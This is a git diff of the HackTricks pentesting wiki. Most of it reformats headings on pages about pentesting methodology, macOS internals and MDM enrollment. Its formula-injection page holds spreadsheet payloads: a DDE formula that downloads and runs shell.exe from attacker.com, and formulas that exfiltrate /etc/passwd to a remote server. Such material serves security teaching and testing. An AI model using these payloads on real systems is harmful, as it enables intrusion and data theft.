diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 4054f5b9..8c63d43e 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -1,4 +1,4 @@ -# 1911 - Pentesting fox +
@@ -16,7 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## 1911 - Pentesting fox + +# 1911 - Pentesting fox And more services: @@ -28,7 +29,7 @@ dht udp "DHT Nodes" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1).png>) +![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1).png>) InfluxDB @@ -42,6 +43,7 @@ InfluxDB ![](<.gitbook/assets/image (341).png>) +
Support HackTricks and get benefits! @@ -57,3 +59,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/README.md b/README.md index 4a3f9757..cc74fb2c 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,4 @@ ---- -description: >- - Welcome to the page where you will find each hacking trick/technique/whatever - I have learnt in CTFs, real life apps, and reading researches and news. ---- -# HackTricks
@@ -22,7 +16,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## HackTricks + +--- +description: >- + Welcome to the page where you will find each hacking trick/technique/whatever + I have learnt in CTFs, real life apps, and reading researches and news. +--- + +# HackTricks ![](.gitbook/assets/p.png) @@ -30,13 +31,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) Here you can find a little **introduction:** -### [**Pentesting Methodology**](pentesting-methodology.md) +## [**Pentesting Methodology**](pentesting-methodology.md) Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**. **Click in the title to start!** -### Support HackTricks +## Support HackTricks Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! @@ -46,9 +47,9 @@ And if you are a PEASS & HackTricks enthusiast, you can get your hands now on ou You can also, **join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) **to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts**, or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. -### Corporate Sponsors +## Corporate Sponsors -#### [STM Cyber](https://www.stmcyber.com) +### [STM Cyber](https://www.stmcyber.com) ![](<.gitbook/assets/image (642) (1) (1) (1).png>) @@ -58,7 +59,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm **STM Cyber** also support cybersecurity open source projects like HackTricks :) -#### [**INE**](https://ine.com) +### [**INE**](https://ine.com) ![](.gitbook/assets/ine\_logo-3-.jpg) @@ -66,7 +67,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm **INE** also support cybersecurity open source projects like HackTricks :) -**Courses and Certifications reviews** +#### **Courses and Certifications reviews** You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their **respective preparation courses**) in the following page: @@ -74,11 +75,12 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their * [ine-courses-and-elearnsecurity-certifications-reviews.md](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md) {% endcontent-ref %} -### License +## License **Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ **If you want to use it with commercial purposes, contact me.** +
Support HackTricks and get benefits! @@ -94,3 +96,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/external-recon-methodology/README.md b/external-recon-methodology/README.md index 66bd6e9f..191becc6 100644 --- a/external-recon-methodology/README.md +++ b/external-recon-methodology/README.md @@ -417,19 +417,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** - -
- -Support HackTricks and get benefits! - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** - -
diff --git a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md index 667fa23c..0d70f9f2 100644 --- a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -1,4 +1,4 @@ -# Mac OS Architecture +
@@ -16,23 +16,24 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## Mac OS Architecture -### Kernel +# Mac OS Architecture -#### XNU +## Kernel + +### XNU The heart of Mac OS X is the **XNU kernel**. XNU is basically composed of a **Mach core** (covered in the next section) with supplementary features provided by Berkeley Software Distribution (**BSD**). Additionally, **XNU** is responsible for providing an **environment for kernel drivers called the I/O Kit**. **XNU is a Darwin package**, so all of the source **code** is **freely available**. From a security researcher’s perspective, **Mac OS X feels just like a FreeBSD box with a pretty windowing system** and a large number of custom applications. For the most part, applications written for BSD will compile and run without modification on Mac OS X. All the tools you are accustomed to using in BSD are available in Mac OS X. Nevertheless, the fact that the **XNU kernel contains all the Mach code** means that some day, when you have to dig deeper, you’ll find many differences that may cause you problems and some you may be able to leverage for your own purposes. -#### Mach +### Mach Mach was originated as a UNIX-compatible **operating system** back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. **In XNU, Mach is responsible for many of the low-level operations** you expect from a kernel, such as processor scheduling and multitasking and virtual- memory management. -#### BSD +### BSD The **kernel** also involves a large chunk of **code derived from the FreeBSD** code base. This code runs as part of the kernel along with Mach and uses the same address space. The F**reeBSD code within XNU may differ significantly from the original FreeBSD code**, as changes had to be made for it to coexist with Mach. FreeBSD provides many of the remaining operations the kernel needs, including: @@ -45,7 +46,7 @@ The **kernel** also involves a large chunk of **code derived from the FreeBSD** To get an idea of just how complicated the interaction between these two sets of code can be, consider the idea of the fundamental executing unit. **In BSD the fundamental unit is the process. In Mach it is a Mach thread**. The disparity is settled by each BSD-style process being associated with a Mach task consisting of exactly one Mach thread. When the BSD fork() system call is made, the BSD code in the kernel uses Mach calls to create a task and thread structure. Also, it is important to note that both the Mach and BSD layers have different security models. The **Mach security** model is **based** **on** **port** **rights**, and the **BSD** model is based on **process** **ownership**. Disparities between these two models have resulted in a **number of local privilege-escalation vulnerabilities**. Additionally, besides typical system cells, there are Mach traps that allow user-space programs to communicate with the kernel. -#### I/O Kit - Drivers +### I/O Kit - Drivers I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: @@ -88,13 +89,13 @@ kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` -### Applications +## Applications A kernel without applications isn’t very useful. **Darwin** is the non-Aqua, **open-source core of Mac OS X**. Basically it is all the parts of Mac OS X for which the **source code is available**. The code is made available in the form of a **package that is easy to install**. There are hundreds of **available Darwin packages**, such as X11, GCC, and other GNU tools. Darwin provides many of the applications you may already use in BSD or Linux for Mac OS X. Apple has spent significant time **integrating these packages into their operating system** so that everything behaves nicely and has a consistent look and feel when possible. On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source (although some of their components are open source). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** -#### **Universal binaries** +### **Universal binaries** Mac OS binaries usually are compiled as universal binaries. A **universal binary** can **support multiple architectures in the same file**. @@ -113,11 +114,11 @@ gcc -arch ppc -arch i386 -o test-universal test.c As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. -#### Mach-o Format +### Mach-o Format ![](<../../.gitbook/assets/image (559).png>) -**Header** +#### **Header** The header contains basic information about the file, such as magic bytes to identify it as a Mach-O file and information about the target architecture. You can find it in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` @@ -139,9 +140,9 @@ Filetypes: * MH\_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) * MH\_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) +#### - -**Load commands** +#### **Load commands** This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.** @@ -205,15 +206,15 @@ A Mach-O binary can contain one or **more** **constructors**, that will be **exe The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. {% endhint %} +#### - -**Data** +#### **Data** The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. ![](<../../.gitbook/assets/image (507) (3).png>) -**Get the info** +#### Get the info ```bash otool -f /bin/ls #Get universal headers info @@ -224,7 +225,7 @@ otool -L /bin/ls #Get libraries used by the binary Or you can use the GUI tool [**machoview**](https://sourceforge.net/projects/machoview/). -#### Bundles +### Bundles Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` @@ -258,7 +259,7 @@ ls -lR /Applications/Safari.app/Contents Contains the **oldest** **version** of **macOS** that the application is compatible with. -#### Objective-C +### Objective-C Programs written in Objective-C **retain** their class declarations **when** **compiled** into (Mach-O) binaries. Such class declarations **include** the name and type of: @@ -274,7 +275,7 @@ class-dump Kindle.app Note that this names can be obfuscated to make the reversing of the binary more difficult. -#### Native Packages +### Native Packages There are some projects that allow to generate a binary executable by MacOS containing script code which will be executed. Some examples are: @@ -285,11 +286,12 @@ There are some projects that allow to generate a binary executable by MacOS cont * **Electron:** JavaScript, HTML, and CSS. * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility:** `npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\\ -### References +## References * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) +
Support HackTricks and get benefits! @@ -305,3 +307,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md index 65cccd85..9a0df6b6 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -1,4 +1,4 @@ -# MacOS MDM +
@@ -16,11 +16,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## MacOS MDM -### Basics +# MacOS MDM -#### What is MDM (Mobile Device Management)? +## Basics + +### What is MDM (Mobile Device Management)? [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). @@ -28,7 +29,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Requires an **MDM server** which implements support for the MDM protocol * MDM server can **send MDM commands**, such as remote wipe or “install this config” -#### Basics What is DEP (Device Enrolment Program)? +### Basics What is DEP (Device Enrolment Program)? The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. @@ -42,21 +43,21 @@ Administrators can leverage DEP to automatically enroll devices in their organiz Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. {% endhint %} -#### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Basics What is SCEP (Simple Certificate Enrolment Protocol)? * A relatively old protocol, created before TLS and HTTPS were widespread. * Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. -#### What are Configuration Profiles (aka mobileconfigs)? +### What are Configuration Profiles (aka mobileconfigs)? * Apple’s official way of **setting/enforcing system configuration.** * File format that can contain multiple payloads. * Based on property lists (the XML kind). * “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. -### Protocols +## Protocols -#### MDM +### MDM * Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) * **Communication** occurs between a **device** and a server associated with a **device** **management** **product** @@ -64,7 +65,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * All over **HTTPS**. MDM servers can be (and are usually) pinned. * Apple grants the MDM vendor an **APNs certificate** for authentication -#### DEP +### DEP * **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): * The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. @@ -73,7 +74,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * More modern and **JSON** based (vs. plist) * Apple grants an **OAuth token** to the MDM vendor -**DEP "cloud service" API** +#### DEP "cloud service" API * RESTful * sync device records from Apple to the MDM server @@ -83,7 +84,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * Additional trusted certificates for server URL (optional pinning) * Extra settings (e.g. which screens to skip in Setup Assistant) -### Steps for enrolment and management +## Steps for enrolment and management 1. Device record creation (Reseller, Apple): The record for the new device is created 2. Device record assignment (Customer): The device is assigned to a MDM server @@ -97,7 +98,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. -#### Step 4: DEP check-in - Getting the Activation Record +### Step 4: DEP check-in - Getting the Activation Record This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) @@ -133,7 +134,7 @@ The response is a JSON dictionary with some important data like: * **url**: URL of the MDM vendor host for the activation profile * **anchor-certs**: Array of DER certificates used as trusted anchors -#### **Step 5: Profile Retrieval** +### **Step 5: Profile Retrieval** ![](<../../../.gitbook/assets/image (567).png>) @@ -146,9 +147,9 @@ The response is a JSON dictionary with some important data like: * Signed using the **device identity certificate (from APNS)** * **Certificate chain** includes expired **Apple iPhone Device CA** -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1).png>) -#### Step 6: Profile Installation +### Step 6: Profile Installation * Once retrieved, **profile is stored on the system** * This step begins automatically (if in **setup assistant**) @@ -183,7 +184,7 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * Property: IdentityCertificateUUID * Delivered via SCEP payload -#### **Step 7: Listening for MDM commands** +### **Step 7: Listening for MDM commands** * After MDM check-in is complete, vendor can **issue push notifications using APNs** * Upon receipt, handled by **`mdmclient`** @@ -192,9 +193,9 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * **`ServerURLPinningCertificateUUIDs`** for pinning request * **`IdentityCertificateUUID`** for TLS client certificate -### Attacks +## Attacks -#### Enrolling Devices in Other Organisations +### Enrolling Devices in Other Organisations As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: @@ -203,11 +204,12 @@ Therefore, this could be a dangerous entrypoint for attackers if the enrolment p [enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) {% endcontent-ref %} -### **References** +## **References** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) +
Support HackTricks and get benefits! @@ -223,3 +225,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/pentesting-methodology.md b/pentesting-methodology.md index bcb91f18..0a9240e6 100644 --- a/pentesting-methodology.md +++ b/pentesting-methodology.md @@ -1,10 +1,4 @@ ---- -description: >- - This is the main page. Here you can find the typical workflow for the - pentesting of a machine ---- -# Pentesting Methodology
@@ -22,15 +16,22 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## Pentesting Methodology + +--- +description: >- + This is the main page. Here you can find the typical workflow for the + pentesting of a machine +--- + +# Pentesting Methodology ![](.gitbook/assets/p2.png) -### 0- Physical Attacks +## 0- Physical Attacks Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](physical-attacks/escaping-from-gui-applications/). -### 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +## 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) **Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). @@ -38,20 +39,20 @@ Do you have **physical access** to the machine that you want to attack? You shou Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. {% endhint %} -### **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** +## **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** **This section only applies if you are performing an internal test.**\ Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting/pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) +## 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting/pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](search-exploits.md) +## **4-** [Searching service version exploits](search-exploits.md) Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... -### **5-** Pentesting Services +## **5-** Pentesting Services If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** @@ -62,25 +63,25 @@ Also, a small guide on how to[ **find known vulnerabilities in software**](searc **If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). -#### 5.1 Automatic Tools +### 5.1 Automatic Tools There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** -#### **5.2 Brute-Forcing services** +### **5.2 Brute-Forcing services** In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** -### 6- [Phishing](phishing-methodology/) +## 6- [Phishing](phishing-methodology/) If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): -### **7-** [**Getting Shell**](shells/shells/) +## **7-** [**Getting Shell**](shells/shells/) Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/shells/). Specially in Windows you could need some help to **avoid antiviruses**: \[Check this page]\(windows/av-bypass.md)**.** -### 8- Inside +## 8- Inside If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: @@ -88,13 +89,13 @@ If you have troubles with the shell, you can find here a small **compilation of * [**Windows (CMD)**](windows/basic-cmd-for-pentesters.md) * [**Winodows (PS)**](windows/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](exfiltration.md) +## **9 -** [**Exfiltration**](exfiltration.md) You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** -### **10- Privilege Escalation** +## **10- Privilege Escalation** -#### **10.1- Local Privesc** +### **10.1- Local Privesc** If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.**\ @@ -107,49 +108,50 @@ You should also check this pages about how does **Windows work**: **Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +### **10.2- Domain Privesc** Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](windows/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. -### 11 - POST +## 11 - POST -#### **11**.1 - Looting +### **11**.1 - Looting Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ Find here different ways to [**dump passwords in Windows**](windows/stealing-credentials/). -#### 11.2 - Persistence +### 11.2 - Persistence **Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ **Here you can find some** [**persistence tricks on active directory**](windows/active-directory-methodology/#persistence)**.** TODO: Complete persistence Post in Windows & Linux -### 12 - Pivoting +## 12 - Pivoting With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ You definitely should also check the post about [Active Directory pentesting Methodology](windows/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to pivot on Windows environments.. -### MORE +## MORE -#### [Android Applications](mobile-apps-pentesting/android-app-pentesting/) +### [Android Applications](mobile-apps-pentesting/android-app-pentesting/) -#### **Exploiting** +### **Exploiting** * [**Basic Linux Exploiting**](exploiting/linux-exploiting-basic-esp/) * [**Basic Windows Exploiting**](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [**Basic exploiting tools**](exploiting/tools/) -#### [**Basic Python**](misc/basic-python/) +### [**Basic Python**](misc/basic-python/) -#### **Crypto tricks** +### **Crypto tricks** * [**ECB**](cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](cryptography/padding-oracle-priv.md) +
Support HackTricks and get benefits! @@ -165,3 +167,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/pentesting-web/formula-injection.md b/pentesting-web/formula-injection.md index 0a4968fa..7c2c7fd4 100644 --- a/pentesting-web/formula-injection.md +++ b/pentesting-web/formula-injection.md @@ -1,4 +1,4 @@ -# Formula Injection +
@@ -16,9 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## Formula Injection -### Info +# Formula Injection + +## Info If your **input** is being **reflected** inside **CSV file**s (or any other file that is probably going to be opened by **Excel**), you maybe able to put Excel **formulas** that will be **executed** when the user **opens the file** or when the user **clicks on some link** inside the excel sheet. @@ -26,7 +27,7 @@ If your **input** is being **reflected** inside **CSV file**s (or any other file Nowadays **Excel will alert** (several times) the **user when something is loaded from outside the Excel** in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. {% endhint %} -### Hyperlink +## Hyperlink **The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).** @@ -49,7 +50,7 @@ The details of student in logged in the attackers web server. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png) -### RCE +## RCE For this example to work it's **needed to have enable the following configuration**:\ File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch\ @@ -59,17 +60,17 @@ The good news is that **this payload is executed automatically when the file is It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`** -![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1).png>) -#### More +### More ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` -### LFI +## LFI -**LibreOffice Calc** +#### LibreOffice Calc * This will read the 1st line from the local /etc/passwd file: `='file:///etc/passwd'#$passwd.A1` * Ex-filtrate it: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` @@ -85,7 +86,7 @@ It's possible to execute a calculator with the following payload **`=cmd|' /C ca * CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain) * WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control -### Google Sheets OOB Data Exfiltration +## Google Sheets OOB Data Exfiltration Firstly, let’s introduce some of the more interesting functions. @@ -125,10 +126,11 @@ Firstly, let’s introduce some of the more interesting functions. =IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png") ``` -### References +## References {% embed url="https://notsosecure.com/data-exfiltration-formula-injection/" %} +
Support HackTricks and get benefits! @@ -144,3 +146,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/pentesting-web/http-request-smuggling/README.md b/pentesting-web/http-request-smuggling/README.md index 7c9ea144..008180cc 100644 --- a/pentesting-web/http-request-smuggling/README.md +++ b/pentesting-web/http-request-smuggling/README.md @@ -1,4 +1,4 @@ -# HTTP Request Smuggling / HTTP Desync Attack +
